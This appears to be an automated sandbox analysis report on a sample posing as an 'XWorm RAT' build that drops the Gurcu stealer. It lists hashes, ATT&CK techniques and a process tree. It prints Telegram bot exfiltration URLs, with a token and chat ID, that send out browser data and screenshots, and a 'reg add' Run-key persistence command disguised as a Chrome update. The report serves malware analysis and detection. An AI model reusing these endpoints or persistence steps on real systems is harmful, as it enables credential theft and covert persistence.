gurcu | ab6c9b1b354d32cc272164d7e28dfe89e4cf6c8aa5b02c5d095c8f211cd34e82

Analysis

max time kernel
149s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
05-10-2024 10:39

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General

Target

XWorm-RAT-main/XWorm RAT V2.1/XWorm RAT V2.1.exe
Size

2.2MB
MD5

835f081566e31c989b525bccb943569c
SHA1

71d04e0a86ce9585e5b7a058beb0a43cf156a332
SHA256

ea9258e9975b8925a739066221d996aef19b4ef4f4c91524f82e39d403f25579
SHA512

9ec58f8c586ecf78ef8d75debc5dba58544558566423a634724bb5ab192aaf64f9ccbee9a5af48124a3366b2a7d24b4db71bb5743978201b881c08bad8f6fb0c
SSDEEP

49152:LdYJMfC7koydmRzCxWO8e89khof23mKijV6WvFw3BAz2tIm0U:qc3vdUEWFySfdw3rtIm

Score

10^/10

gurcu discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=2024893777

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Executes dropped EXE 2 IoCs

Processes:

Command Reciever.exeChromeUpdate.exe

pid process

5080 Command Reciever.exe
1596 ChromeUpdate.exe
Loads dropped DLL 2 IoCs

Processes:

Command Reciever.exeChromeUpdate.exe

pid process

5080 Command Reciever.exe
1596 ChromeUpdate.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Windows\CurrentVersion\Run\GoogleChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogs\\ChromeUpdate.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
7 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Enumerates processes with tasklist 1 TTPs 1 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exe

pid process

4752 tasklist.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
7	raw.githubusercontent.com

flow	ioc
1	ip-api.com

pid	process
4752	tasklist.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

XWorm RAT V2.1.exeCommand Reciever.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWorm RAT V2.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Command Reciever.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Command Reciever.exeChromeUpdate.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Command Reciever.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Command Reciever.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	ChromeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	ChromeUpdate.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2148 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2508 reg.exe

pid	process
2148	timeout.exe

pid	process
2508	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Command Reciever.exeCommand Reciever.exeChromeUpdate.exe

pid	process
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
5080	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
2660	Command Reciever.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe
1596	ChromeUpdate.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

Command Reciever.exetasklist.exeChromeUpdate.exe

description	pid	process
Token: SeDebugPrivilege	5080	Command Reciever.exe
Token: SeDebugPrivilege	4752	tasklist.exe
Token: SeDebugPrivilege	1596	ChromeUpdate.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

Command Reciever.exe

pid process

2660 Command Reciever.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

Command Reciever.exe

pid process

2660 Command Reciever.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

ChromeUpdate.exe

pid process

1596 ChromeUpdate.exe

pid	process
2660	Command Reciever.exe

pid	process
2660	Command Reciever.exe

pid	process
1596	ChromeUpdate.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

XWorm RAT V2.1.exeCommand Reciever.execmd.exeChromeUpdate.execmd.exe

description	pid	process	target process
PID 1496 wrote to memory of 2660	1496	XWorm RAT V2.1.exe	Command Reciever.exe
PID 1496 wrote to memory of 2660	1496	XWorm RAT V2.1.exe	Command Reciever.exe
PID 1496 wrote to memory of 2660	1496	XWorm RAT V2.1.exe	Command Reciever.exe
PID 1496 wrote to memory of 5080	1496	XWorm RAT V2.1.exe	Command Reciever.exe
PID 1496 wrote to memory of 5080	1496	XWorm RAT V2.1.exe	Command Reciever.exe
PID 5080 wrote to memory of 2324	5080	Command Reciever.exe	cmd.exe
PID 5080 wrote to memory of 2324	5080	Command Reciever.exe	cmd.exe
PID 2324 wrote to memory of 1868	2324	cmd.exe	chcp.com
PID 2324 wrote to memory of 1868	2324	cmd.exe	chcp.com
PID 2324 wrote to memory of 4752	2324	cmd.exe	tasklist.exe
PID 2324 wrote to memory of 4752	2324	cmd.exe	tasklist.exe
PID 2324 wrote to memory of 4060	2324	cmd.exe	find.exe
PID 2324 wrote to memory of 4060	2324	cmd.exe	find.exe
PID 2324 wrote to memory of 2148	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 2148	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 1596	2324	cmd.exe	ChromeUpdate.exe
PID 2324 wrote to memory of 1596	2324	cmd.exe	ChromeUpdate.exe
PID 1596 wrote to memory of 3984	1596	ChromeUpdate.exe	cmd.exe
PID 1596 wrote to memory of 3984	1596	ChromeUpdate.exe	cmd.exe
PID 3984 wrote to memory of 2508	3984	cmd.exe	reg.exe
PID 3984 wrote to memory of 2508	3984	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2660
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF5CA.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpF5CA.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1868
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 5080"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4752
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:4060
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2148
  - - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1596
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3984
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2508

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe

Filesize
5.6MB

MD5
6b4b7f3c4d2fb1e42df23a7154dd4039

SHA1
ae2a7308330119b906305414c013f3322d921a2e

SHA256
4bb10dd970f1111e2e0e8706ed6a4ab039f692663a9443fc6593ec45b29b19e2

SHA512
9ae1588488f4db9bbacd3a1704e53fb7422846d3a6bb1b3da8323ad487412d7c938a3215181da7a7647141d4c54a0bcd93dde666ac848312ac38a2d9488161d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF5CA.tmp.bat

Filesize
322B

MD5
ec00e1824495aeab960a77343a6cb41e

SHA1
bf2a867e38a35bad27e5c5244a615b5a460e7e48

SHA256
af654777edf4cf71cfb44c345fff80481c50af88f341a6e2482aa0b85424c559

SHA512
7e77e09a16d68e0df950d561cb86e0e7c5da9b9ddcf96505f282c3cd94c46c72f46d3350dc172988e7c7e4d75d3f9d4d0eb28fa254871356e17c932941641188

Download Submit
memory/1496-1-0x00000000001A0000-0x00000000003E2000-memory.dmp

Filesize
2.3MB

Download
memory/1496-2-0x0000000005430000-0x00000000059D6000-memory.dmp

Filesize
5.6MB

Download
memory/1496-0-0x00000000747BE000-0x00000000747BF000-memory.dmp

Filesize
4KB

Download
memory/1596-50-0x0000022281620000-0x000002228165A000-memory.dmp

Filesize
232KB

Download
memory/1596-51-0x00000222815E0000-0x0000022281606000-memory.dmp

Filesize
152KB

Download
memory/1596-48-0x00000222E5940000-0x00000222E5962000-memory.dmp

Filesize
136KB

Download
memory/1596-47-0x00000222E5B40000-0x00000222E5B90000-memory.dmp

Filesize
320KB

Download
memory/1596-46-0x00000222814F0000-0x00000222815A2000-memory.dmp

Filesize
712KB

Download
memory/1596-44-0x0000022280F10000-0x0000022280F7A000-memory.dmp

Filesize
424KB

Download
memory/1596-43-0x00000222E58B0000-0x00000222E58BA000-memory.dmp

Filesize
40KB

Download
memory/1596-69-0x00000222E5970000-0x00000222E5982000-memory.dmp

Filesize
72KB

Download
memory/2660-18-0x0000000005E50000-0x0000000005EEC000-memory.dmp

Filesize
624KB

Download
memory/2660-20-0x0000000006060000-0x0000000006070000-memory.dmp

Filesize
64KB

Download
memory/2660-12-0x0000000000DD0000-0x0000000001462000-memory.dmp

Filesize
6.6MB

Download
memory/2660-31-0x0000000009230000-0x0000000009296000-memory.dmp

Filesize
408KB

Download
memory/2660-16-0x00000000747B0000-0x0000000074F61000-memory.dmp

Filesize
7.7MB

Download
memory/2660-36-0x00000000747B0000-0x0000000074F61000-memory.dmp

Filesize
7.7MB

Download
memory/2660-42-0x0000000006060000-0x0000000006070000-memory.dmp

Filesize
64KB

Download
memory/2660-19-0x0000000005EF0000-0x0000000005F82000-memory.dmp

Filesize
584KB

Download
memory/2660-23-0x0000000005F90000-0x0000000005FE6000-memory.dmp

Filesize
344KB

Download
memory/2660-21-0x0000000005DD0000-0x0000000005DDA000-memory.dmp

Filesize
40KB

Download
memory/5080-28-0x00000256258A0000-0x0000025625916000-memory.dmp

Filesize
472KB

Download
memory/5080-22-0x000002560AE30000-0x000002560B3D2000-memory.dmp

Filesize
5.6MB

Download
memory/5080-29-0x0000025625A00000-0x0000025625A10000-memory.dmp

Filesize
64KB

Download
memory/5080-30-0x000002560D160000-0x000002560D17E000-memory.dmp

Filesize
120KB

Download
memory/5080-17-0x00007FFC3A433000-0x00007FFC3A435000-memory.dmp

Filesize
8KB

Download